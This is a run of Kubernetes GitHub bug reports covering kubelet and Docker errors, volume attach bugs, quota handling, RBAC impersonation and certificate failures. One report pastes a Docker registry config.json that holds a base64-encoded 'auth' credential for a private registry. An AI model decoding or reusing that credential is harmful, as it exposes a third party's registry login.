kube_docker_client.go:92  using empty version for docker client, this may sometimes cause compatibility issue.\r f1018 04:06:44.027498    2912 server.go:262  failed to run kubelet: failed to create kubelet: failed to get docker version: error response from daemon: client version 1.38 is too new. maximum supported api version is 1.37\r    \r \r \r   what you expected to happen  :\r \r no crashes, and kubelet should restart normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. install docker ee-basic 17.06\r 2. start kubelet\r 3.  install-package -name docker -providername dockermsftprovider -update -force -requiredversion 18.03 \r 4.  restart-service kubelet -force \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.1\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803\r - install tools: acs-engine\r \r    \r >docker version\r client:\r  version:           18.03.1-ee-3\r  api version:       1.37\r  go version:        go1.10.2\r  git commit:        b9a5c95\r  built:             thu aug 30 18:42:35 2018\r  os/arch:           windows/amd64\r  experimental:      false\r \r server:\r  engine:\r   version:          18.03.1-ee-3\r   api version:      1.37  minimum version 1.24 \r   go version:       go1.10.2\r   git commit:       b9a5c95\r   built:            thu aug 30 18:56:49 2018\r   os/arch:          windows/amd64\r   experimental:     false\r    \r \r 

7650 refers  i think i can remember three of these sorts of '|| true' bugs recently. is it perhaps worth doing an audit of our code base for them. superficially there are a lot of instances of this:  $ find kubernetes -name \  .sh\  | xargs grep '||\\strue' | wc -l 122

i installed kubernetes v1.1.2 in 3  fedora 22 vms.  most functions work well, but <code>kubectl logs xxx </code> always return <code>404 page not found</code>. even when i use an pod defined as example, it still failed.   here is pod definition       root@tivx93 json   cat logging.yml  apiversion: v1 kind: pod metadata:   name: counter spec:   containers:   - name: count     image: david/alpine-wordpress:test_new     args:  bash, -c,             'for   i = 0; ; i++  ; do echo \ $i: $ date \ ; sleep 1; done'   root@tivx93 json             root@tivx93 json   kubectl describe pod counter name:                           counter namespace:                      default image s :                       david/alpine-wordpress:test_new node:                           tivx95/9.123.102.164 start time:                     mon, 28 dec 2015 22:46:25 +0800 labels:                         <none> status:                         running reason: message: ip:                             10.1.46.42 replication controllers:        <none> containers:   count:     container id:       docker://e09527dfe845e3cdcb800519451d2ebc8a6e30a2feceec205ee6909dbc38605e     image:              david/alpine-wordpress:test_new     image id:           docker://8bdc8aa3c51abe647e3a42866143af3485a4eb2e57c390afc0d8f0bece66579a     state:              running       started:          mon, 28 dec 2015 22:46:26 +0800     ready:              true     restart count:      0     environment variables: conditions:   type          status   ready         true  volumes:   default-token-9j5dw:     type:       secret  a secret that should populate this volume      secretname: default-token-9j5dw events:   firstseen     lastseen        count   from                    subobjectpath                           reason          message   ─────────     ────────        ─────   ────                    ─────────────                           ──────          ───────   4s            4s              1       {kubelet tivx95}        implicitly required container pod       pulled          container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine   4s            4s              1       {kubelet tivx95}        implicitly required container pod       created         created with docker id ab4b16262735   4s            4s              1       {kubelet tivx95}        implicitly required container pod       started         started with docker id ab4b16262735   4s            4s              1       {kubelet tivx95}        spec.containers{count}                  pulled          container image \ david/alpine-wordpress:test_new\  already present on machine   4s            4s              1       {kubelet tivx95}        spec.containers{count}                  created         created with docker id e09527dfe845   4s            4s              1       {kubelet tivx95}        spec.containers{count}                  started         started with docker id e09527dfe845   4s            4s              1       {scheduler }                                                    scheduled       successfully assigned counter to tivx95    root@tivx93 json   kubectl logs counter                                                                                                                          404 page not found  root@tivx93 json         check logs from docker       root@tivx95 ~   docker logs e09527dfe845 0: mon dec 28 14:46:26 utc 2015 1: mon dec 28 14:46:27 utc 2015 2: mon dec 28 14:46:28 utc 2015 3: mon dec 28 14:46:29 utc 2015 4: mon dec 28 14:46:30 utc 2015 5: mon dec 28 14:46:31 utc 2015 6: mon dec 28 14:46:32 utc 2015 7: mon dec 28 14:46:33 utc 2015 8: mon dec 28 14:46:34 utc 2015 9: mon dec 28 14:46:35 utc 2015 10: mon dec 28 14:46:36 utc 2015 11: mon dec 28 14:46:37 utc 2015 12: mon dec 28 14:46:38 utc 2015 13: mon dec 28 14:46:39 utc 2015 14: mon dec 28 14:46:40 utc 2015 15: mon dec 28 14:46:41 utc 2015 16: mon dec 28 14:46:42 utc 2015      here is <code>kubectl get events </code> result       root@tivx93 json   kubectl get event firstseen   lastseen   count     name                       kind        subobject                                  reason             source             message  4m        4m        1         counter   pod       spec.containers{count}              started     {kubelet tivx95}   started with docker id 4d50fbdf0ca0 3m        3m        1         counter   pod       implicitly required container pod   pulled      {kubelet tivx95}   container image \ gcr.io/google_containers/pause:0.8.0\  already present on machine 3m        3m        1         counter   pod                                           scheduled   {scheduler }       successfully assigned counter to tivx95 3m        3m        1         counter   pod       spec.containers{count}              started     {kubelet tivx95}   started with docker id e09527dfe845 3m        3m        1         counter   pod       spec.containers{count}              pulled      {kubelet tivx95}   container image \ david/alpine-wordpress:test_new\  already present on machine 3m        3m        1         counter   pod       implicitly required container pod   created     {kubelet tivx95}   created with docker id ab4b16262735 3m        3m        1         counter   pod       spec.containers{count}              created     {kubelet tivx95}   created with docker id e09527dfe845 3m        3m        1         counter   pod       implicitly required container pod   started     {kubelet tivx95}   started with docker id ab4b16262735 1m        1m        1         counter   pod       implicitly required container pod   killing     {kubelet tivx95}   killing with docker id ab4b16262735 1m        1m        1         counter   pod       spec.containers{count}              killing     {kubelet tivx95}   killing with docker id e09527dfe845  root@tivx93 json

aws cloud provider & volume plugin leaves ebs volumes attached when  attachdisk  call times out.  sequence is like this: 1. user creates a pod that uses ebs volume. the request goes through kubelet and aws volume plugin   setup    call to  attachdiskandverify  https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/aws_ebs/aws_util.go l170 . 2.   attachdiskandverify  periodically calls  aws cloud provider.attachdisk   , which issues  attachvolume  api call to aws. 3. when aws is really busy, this call times out and  attachdiskandverify  gives up trying to attach the volume. note that nobody \ cancels\  the api call to aws  is there a way to do that? . 4. aws   is still trying to attach the volume and it will succeed eventually  , but the volume plugin has given up waiting. this is good when the pod still lives - next kubelet sync loop will continue trying to attach the volume. on the other side, when the pod is deleted in the meantime,   nobody will detach the volume  . kubelet does not know about it  last  setup    failed .  i am able to reproduce this bug \ pretty reliably\   >10%  by creating 50 pods  1 volume each  on a single-node cluster. scheduler starts only 39 pods, leaving 11 pending. when these 39 pods are running, i delete them. now the kubelet detaches 39 old volumes and attaches 11 new ones, making everything very very slow and one of the attach calls times out. when i delete these 11 new pods at the right time, sometimes i get an orphan volume attached to the node.  i have no idea how to fix it properly though. should there be a standalone cleanup goroutine in aws cloud provider that would detach these orphan volumes? should we refactor aws volume plugin to do proper  teardown  of volumes that were attached, but not mounted properly? both are quite lot of work and seem error prone to me and we have a real bug that needs to be fixed, even before attach controller is merged.  @justinsb, @swagiaal, any ideas? @saad-ali, can the same happen for gce pds? the code has very similar structure, i did not check it though. maybe gce is faster and it does not time out.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r we had a node outage which caused kubelet to be unable to contact apiserver. this causes the node to go to  notready  state, and in turn causes all pods on the node to go to  unknown .\r \r when the controller tried to spin up a replacement replica for each pod, it fails due to namespace quotas being exceeded. the  unknown  state  or dead pods  are still counting against the namespace quota.\r \r   what you expected to happen  :\r  unknown  state should not count against namespace quotas.\r \r we allocate every team enough resources to run the necessary number of replicas. we also buffer enough extra resources in the cluster to handle a percentage of node failures. unfortunately, with the change to node eviction 1.5+  where pods are no longer force deleted on unresponsive nodes , this setup no longer works. in effect, we are unable to take advantage of the spare capacity in the cluster to spin up replacement pods.\r \r if the  unknown  pods happen to recover, that is fine - the deployment controller would then spin down the excess pods.\r \r simply increasing every namespace quota is  not  the solution here. the sum of allocating spare room in everyone's namespace quotas is far larger than the capacity of our spare nodes. we would be unable to budget resources in our cluster, or we'd have to provision far more nodes than we need to tolerate failure. e.g. if 3 nodes fail, we just need 3 spare nodes to take care of it. if we give every namespace 20% more space for  unknown  pods in case of node failure, that is far more than 3 spare nodes.\r \r similarly, if we have a node failure, we shouldn't charge our clients for the usage of a pod on the failed node.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1 - create namespace quota with enough quota for a single replica of something\r 2 - stop kubelet, observe the  unknown  state behaviuor\r 3 - read events on namespace, scheduling fails due to exceeding quota\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.5\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r the azure_dd plugin will always provision two instances of storage account with different type during init.\r \r there could be cases when:\r 1. user may only want to use one certain type of storage account, then the other type of storage account would be not in use.\r 2. user chooses to use managed disk, both of the storage account would be not in use. \r \r there is a limit for storage account numbers per subscription, and the storage account should be created with a on-demand policy.\r \r log:\r    \r i0818 03:00:14.709321       1 azure_blobdiskcontroller.go:354  azuredisk - blobdiskcontroller init process  will create new storageaccount:pvc2365976634001 type:premium_lrs\r i0818 03:00:14.709693       1 azure_blobdiskcontroller.go:354  azuredisk - blobdiskcontroller init process  will create new storageaccount:pvc2365976634002 type:standard_lrs\r i0818 03:00:14.739106       1 azure_blobdiskcontroller.go:602  azuredisk - creating storage account pvc2365976634001 type premium_lrs \r i0818 03:00:14.759665       1 azure_blobdiskcontroller.go:602  azuredisk - creating storage account pvc2365976634002 type standard_lrs\r    \r code:\r https://github.com/kubernetes/kubernetes/blob/9e97b5249bdd105705bfa6a7c6da477e8bde57d1/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l335-l366\r \r \r   what you expected to happen  :\r the storage accounts be created on-demand.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup a kubernetes v1.7.2 cluster on azure, create a dynamic pvc.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r azure\r

is this a bug report or feature request?  :\r   \r   what happened  :\r https://github.com/kubernetes/kubernetes/pull/54009 is adding logics to handle both the new   x_gcloud_subnet_mode   and deprecated   x_gcloud_mode   fields for making the transition easier. we should eventually get rid of such logics when cis and most of the developers upgraded gcloud version to >= 175.0.0.\r \r /assign

 \r   what happened  :\r \r judging by the folllowing output, currently the e2e test using gce provider requires access to an unencrypted private ssh key. this is not great from security perspective.\r \r    \r oct 19 16:41:46.296: info: creating new exec pod\r step: verifying service has 3 reachable backends\r oct 19 16:41:50.787: info: executing cmd \ set -e; for i in $ seq 1 150 ; do wget -q --timeout=0.2 --tries=1 -o - http://10.0.165.211:80 2>&1 || true; echo; done\  on host 104.196.214.125:22\r oct 19 16:41:50.787: info: ssh @104.196.214.125:22: command:   set -e; for i in $ seq 1 150 ; do wget -q --timeout=0.2 --tries=1 -o - http://10.0.165.211:80 2>&1 || true; echo; done\r oct 19 16:41:50.788: info: ssh @104.196.214.125:22: stdout:    \ \ \r oct 19 16:41:50.788: info: ssh @104.196.214.125:22: stderr:    \ \ \r oct 19 16:41:50.788: info: ssh @104.196.214.125:22: exit code: 0\r oct 19 16:41:50.788: info: error while ssh-ing to node: error getting signer for provider gce: 'error parsing ssh key: 'ssh: cannot decode encrypted private keys''\r oct 19 16:41:50.788: info: unable to reach the following endpoints of service 10.0.165.211: map service1-q56zj:{} service1-9dwrz:{} service1-n4z8z:{} \r    \r \r   what you expected to happen  :\r \r the test should just use the key loaded in my ssh-agent.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r  kubetest -v --test \r \r   anything else we need to know?  :\r \r afaict https://godoc.org/golang.org/x/crypto/ssh/agent agent gives access to an array of  signer  objects so in theory this should be possible to fix.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r if customer is using the default storage class of azure-disk, create lots of azure disk pvs by using default storage class of azure-disk, the storage account num would be exhausted in the azure subscription. change default kind value of azure disk storge class from dedicated to shared, which means only a few storage accounts would be created even there are even hundreds of azure disk pvs.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

docker version:17.09.0\r system version: centos linux release 7.2.1511  core  \r kubernetes version : 1.6.2\r \r when i use kubectl to create a  deployment,find this issue :\r error syncing pod, skipping: failed to \ startcontainer\  for \ rolling-update-test\  with errimagepull: \ rpc error: code = 2 desc = error response _from_ daemon: {\\\ message\\\ :\\\ get http://192.168.31.150:5000/v2/nginx-web/manifests/v3: no basic auth credentials\\\ }\ \r back-off pulling image \ 192.168.31.150:5000/nginx-web:v3\ \r \r but i find a file in path /root/.docker/config.json, the content of file is that :\r {\r         \ auths\ : {\r                 \ 192.168.31.150:5000\ : {\r                         \ auth\ : \ agx5okhmwwhseteym0a=\ \r                 }\r         },\r         \ httpheaders\ : {\r                 \ user-agent\ : \ docker-client/17.09.0-ce  linux \ \r         }\r }\r \r what is my problem?

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r   what happened  :\r scene 1：\r i try to add tolerations to replicationcontroller before the replicationcontroller is created.\r it works well, and after the replicationcontroller created,  both itself and it's pods have the same tolerations. \r but when i scale the replicationcontroller, something strange happened: the replicationcontroller have no tolerations and the new pod also have no tolerations.\r \r scene 2：\r i try to add tolerations to a replicationcontroller which is already exists. \r when i scale the replicationcontroller, the replicationcontroller have no tolerations and the new pod also have no tolerations.\r \r \r i always thought the tolerations in replicationcontroller will never gone. am i wrong?\r or the kubernetes version does not support？\r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.6.6\r

 \r   what happened  : validatingadmissionwebhook was configured to listen to creates and updates on extensions/v1beta1 deployments. a submitted apps/v1 deployment was not passed through to the web hook, but subsequent attempts to edit or patch the deployment were.\r \r   what you expected to happen  : i expect admissioncontrol to behave consistently.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a validatingadmissionwebhook with the following rule:\r \r    \r   rules:\r   - apigroups:\r     - extensions\r     apiversions:\r     - v1beta1\r     operations:\r     - create\r     - update\r     resources:\r     - deployments\r    \r \r use  kubectl create -f  to create a deployment with  apiversion: apps/v1  specified. this will succeed  this is expected . subsequent attempts to  kubectl edit  or  kubectl patch  the object, however, will result in the object going back through admissioncontrol as an  extensions/v1beta1  object.\r \r   anything else we need to know?  :\r \r for backwards compatibility, it appears that the api server will transform the final  apiversion  value  in this case,  apps/v1   to the legacy value   extensions/v1beta1  , but it does so only after it has already passed through admissioncontrol filters. this results in a scenario where api requests are evaluated inconsistently between their first and subsequent interactions.\r \r   environment  :\r - 1.9.x\r - bare metal\r - centos 7

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r using  kubectl patch  with the json patch type produces a  confusing error message when you miss the leading double quote at the beginning of the path value.\r \r    \r kubectl patch --type json --local --filename deployment.yml --patch \ $ cat patch.json \  --output yaml \r error: jsonpatch replace operation does not apply: doc is missing key: /spec/template/spec/containers/0/image\ \r    \r \r   what you expected to happen  :\r a proper error message that the provided json patch is not valid json.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r ➜  cat deployment.yml \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: nginx-deployment\r   labels:\r     app: nginx\r spec:\r   replicas: 3\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.8\r         ports:\r         - containerport: 80\r \r ➜ cat patch.json \r  \r   {\r     \ op\ : \ replace\ ,\r     \ path\ : /spec/template/spec/containers/0/image\ ,\r     \ value\ : \ nginx:1.7.9\ \r   }\r  \r \r ➜  kubectl patch --type json --local --filename deployment.yml --patch \ $ cat patch.json \  --output yaml\r error: jsonpatch replace operation does not apply: doc is missing key: /spec/template/spec/containers/0/image\ \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.6-gke.0\ , gitcommit:\ cb151369f60073317da686a6ce7de36abe2bda8d\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t19:01:20z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

is this a bug report or feature request?  :\r  \r   what happened  :\r docker restart container of pod\r some times,there will be 2 running containers exits\r \r   what you expected to happen  :\r it should be only one running containers\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start a pod with one running container  exclude the pause container \r 2. run cmd: docker stop xxxxxx_0 , to stop the container, and kubelet will create a new container name xxxxxx_1\r 3. run cmd: docker start xxxxx_0, now there are 2 running containers, one is xxxxxx_0, and one is xxxxxx_1\r \r if we repeat step 2 and 3, there may be more than 2 running container\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.10.5\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r yes\r \r \r   what happened  :\r https://github.com/kubernetes/kubernetes/issues/58347\r this issue still exist on kubernetes 1.9.7\r \r the app with statefulsets on restart creates multiple controllerrevisions on kubernetes, which doesn't let the app restart again and gives an error or attaching the volume to its pvc.\r \r although the workaround is 👍 \r \r    \r kubectl get controllerrevisions\r    \r \r you will see number of revisions created by kubernetes, delete them all\r \r    \r kubectl delete controllerrevisions <name_of_controlrevisions>\r    \r \r the pod for the statefulsets will automatically restarts and comes onto the running state.\r

https://k8s-testgrid.appspot.com/sig-gcp-master gci-gke-alpha-enabled-default\r \r  

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-aws/6978/  failed:  k8s.io  emptydir wrapper volumes should not conflict {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir_wrapper.go:135 expected error:     < errors.errorstring | 0xc420406ce0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:66       previous issues for this test:  32467

i was able to send a request as  user:admin   which has clusterrole:  view   to impersonate as  user:kubecfg   which has clusterrole:  cluster-admin  . based on the docs, it looks like this should not be possible.\r filling this to clarify the expected behavior.\r \r steps:\r i first ran:\r    \r curl https://<master-ip>/api/v1/namespaces/default/pods --insecure -h \ authorization: bearer <token>\  -h \ impersonate-user: kubecfg\ \r    \r and got error:  user \ admin\  cannot impersonate users at the cluster scope.  which is as expected. i then found clusterrolebinding  user:admin  to clusterrole  view  and cluster role  view  did not have impersonation ability.\r i edited the cluster role to add:\r    \r apigroups:\r     - \ \ \r     attributerestrictions: null\r     resources:\r     - users\r     verbs:\r     - impersonate\r    \r and then running the same command as above worked fine. i got:\r    \r {\r   \ kind\ : \ podlist\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /api/v1/namespaces/default/pods\ ,\r     \ resourceversion\ : \ 5447584\ \r   },\r   \ items\ : null\r }\r    \r i expected an error saying  admin  cannot impersonate  kubecfg .\r \r ref https://docs.google.com/document/d/1h3ulic65gzv-9i-pi6akbc_rt9qlnthdqkcic06gvv8/edit?disco=aaaaa7pkljo\r \r cc @ericchiang @liggitt

is this a request for help?  \r no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r <exact error>, 1.5.3, upgrade, cdk, easyrsa, exec, logs\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-23t22:48:32z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-23t22:28:16z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : vmware on-premise for control plane  easyrsa, kube-api-loadbalancer, master, etcd , heavy baremetal servers for nodes.\r -   os    e.g. from /etc/os-release : ubuntu 16.04.2 lts\r -   kernel    e.g.  uname -a  : linux mth-k8smaster-01 4.4.0-67-generic  88-ubuntu smp wed mar 8 16:34:45 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : canonical distribution of kubernetes\r -   others  :\r \r \r   what happened  :\r after upgrading our cdk cluster in 1.5.2 to latest versions of every charms of the bundle  to go to kubernetes 1.5.3 , we discovered that \ kubectl exec\  and \ kubectl logs\  versions return certificate error.\r \ exec/logs\  are the only subcommands affected by this error, all others seems to be ok for what we discovered for now.\r \r below are the kind of error we got:\r $ kubectl -exec -it phpbackend-w0bnv /bin/bash\r error from server: error dialing backend: x509: certificate signed by unknown authority\r $ kubectl logs phpbackend-w0bnv \r error from server: get https://ig1-k8s-03:10250/containerlogs/development/phpbackend-w0bnv/phpbackend: x509: certificate signed by unknown authority\r \r  for info ig1-k8s-03 is one of our nodes. \r \r   what you expected to happen  :\r as usual, exec should enter in a container of a pod, logs should display logs of pods in stdout.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r deploy a 1.5.2 cdk cluster, follow https://kubernetes.io/docs/getting-started-guides/ubuntu/upgrades/ to upgrade charms in correct order  easyrsa at the end .\r \r \r   anything else we need to know  :\r root@ig1-k8s-03:/srv/kubernetes  ls -l\r total 40\r -rwxrwx--- 1 root root  1179 feb 15 12:32 ca.crt\r -rwxrwx--- 1 root root  4367 feb 15 12:32 client.crt\r -rwxrwx--- 1 root root  1703 feb 15 12:32 client.key\r -rw------- 1 root root 10023 feb 15 12:33 config\r -rwxrwx--- 1 root root  4637 mar 15 10:11 server.crt\r -rwxrwx--- 1 root root  1704 mar 15 10:11 server.key\r \r -> march 15th 10:11 is the exact date of the cdk upgrades.\r \r root@ig1-k8s-03:/srv/kubernetes  openssl x509 -in server.crt -text -noout\r  ... \r         x509v3 extensions:\r             x509v3 basic constraints: \r                 ca:false\r             x509v3 subject key identifier: \r                 5d:c1:97:0c:f9:51:8e:d8:ff:70:37:f2:b9:6a:3a:bc:cf:f3:a8:ff\r             x509v3 authority key identifier: \r                 keyid:b7:de:65:69:d5:47:3b:42:e0:6d:27:1d:be:4b:de:b8:ef:30:38:4c\r                 dirname:/cn=ig1-k8srsa-01\r                 serial:af:f9:82:da:3b:7f:74:b5\r \r             x509v3 extended key usage: \r                 tls web client authentication, tls web server authentication\r             x509v3 key usage: \r                 digital signature, key encipherment\r             x509v3 subject alternative name: \r                 dns:ig1-k8s-03, dns:ig1-k8s-03, dns:ig1-k8s-03\r    ... \r \r regards,

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   bug report  \r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version   :\r \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os  : centos linux 7\r -   kernel  : linux kubernetes-master-3302 3.10.0-327.el7.x86_64  1 smp thu nov 19 22:10:57 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r \r   what happened  :\r i used the below command to create a pod:\r  kubectl create --insecure-skip-tls-verify -f monitorms-rc.yml \r i get this  monitorms-mmqhm                0/1       imagepullbackoff \r \r and upon running\r    kubectl describe pod monitorms-mmqhm --namespace=sample \r it said  warning\t\tfailed\t\tfailed to pull image \ 10.78.0.228:5000/monitorms\ : error response from daemon: {\ message\ :\ get https://10.78.0.228:5000/v1/_ping: x509: certificate signed by unknown authority\ } \r \r there is no certificate mentioned anywhere in my deployment configuration anywhere.\r \r 10.78.0.228 is running a private insecured docker registry.\r should kubernetes not ignore the server certificate with that --insecure-skip-tls-verify flag ?\r \r

is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r pod cannot be terminated because local volume with token cannot be unmounted.\r \r   what you expected to happen  :\r \r pod is terminated correctly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   kubectl describe pod kube-proxy-gngh8 -n kube-system\r  ... \r     mounts:\r       /run/xtables.lock from xtables-lock  rw \r       /var/lib/kube-proxy from config  ro \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-79dz0  ro \r  ... \r    \r    \r   kubectl delete pod kube-proxy-gngh8 -n kube-system\r    \r kubelet log:\r    \r e1003 08:16:40.821333   11479 nestedpendingoperations.go:264  operation for \ \\\ kubernetes.io/secret/df09b119-a772-11e7-82ce-5254009ef6db-default-token-79dz0\\\   \\\ df09b119-a772-11e7-82ce-5254009ef6db\\\  \  failed. no retries permitted until 2017-10-03 08:18:42.821312669 +0000 utc  durationbeforeretry 2m2s . error: unmountvolume.teardown failed for volume \ default-token-79dz0\   uniquename: \ kubernetes.io/secret/df09b119-a772-11e7-82ce-5254009ef6db-default-token-79dz0\   pod \ df09b119-a772-11e7-82ce-5254009ef6db\   uid: \ df09b119-a772-11e7-82ce-5254009ef6db\   : remove /var/lib/kubelet/pods/df09b119-a772-11e7-82ce-5254009ef6db/volumes/kubernetes.io~secret/default-token-79dz0: device or resource busy\r    \r more kubelet logs:\r https://gist.github.com/r0bj/2c7b4809a0a75c99f91589746ae95da9\r \r pod  kube-proxy-gngh8  stays forever in  terminating  state.\r \r   anything else we need to know?  :\r the same setup with k8s 1.7.x works fine.\r \r kubelet config:\r    \r /usr/bin/kubelet \\\r     --register-with-taints=node-role.kubernetes.io/master=\ \ :noschedule \\\r     --pod-manifest-path=/etc/kubernetes/manifests \\\r     --node-labels=k8s-role=k8s-controller,node-role.kubernetes.io/master=\ \  \\\r     --allow-privileged=true \\\r     --cloud-provider= \\\r     --cluster-dns=10.223.0.10 \\\r     --cluster-domain=cluster.local \\\r     --container-runtime=docker \\\r     --docker=unix:///var/run/docker.sock \\\r     --network-plugin=cni \\\r     --require-kubeconfig=true \\\r     --kubeconfig=/var/lib/kubelet/kubeconfig \\\r     --serialize-image-pulls=false \\\r     --tls-cert-file=/var/lib/kubernetes/kubelet-cert.pem \\\r     --tls-private-key-file=/var/lib/kubernetes/kubelet-key.pem \\\r     --eviction-soft=\ 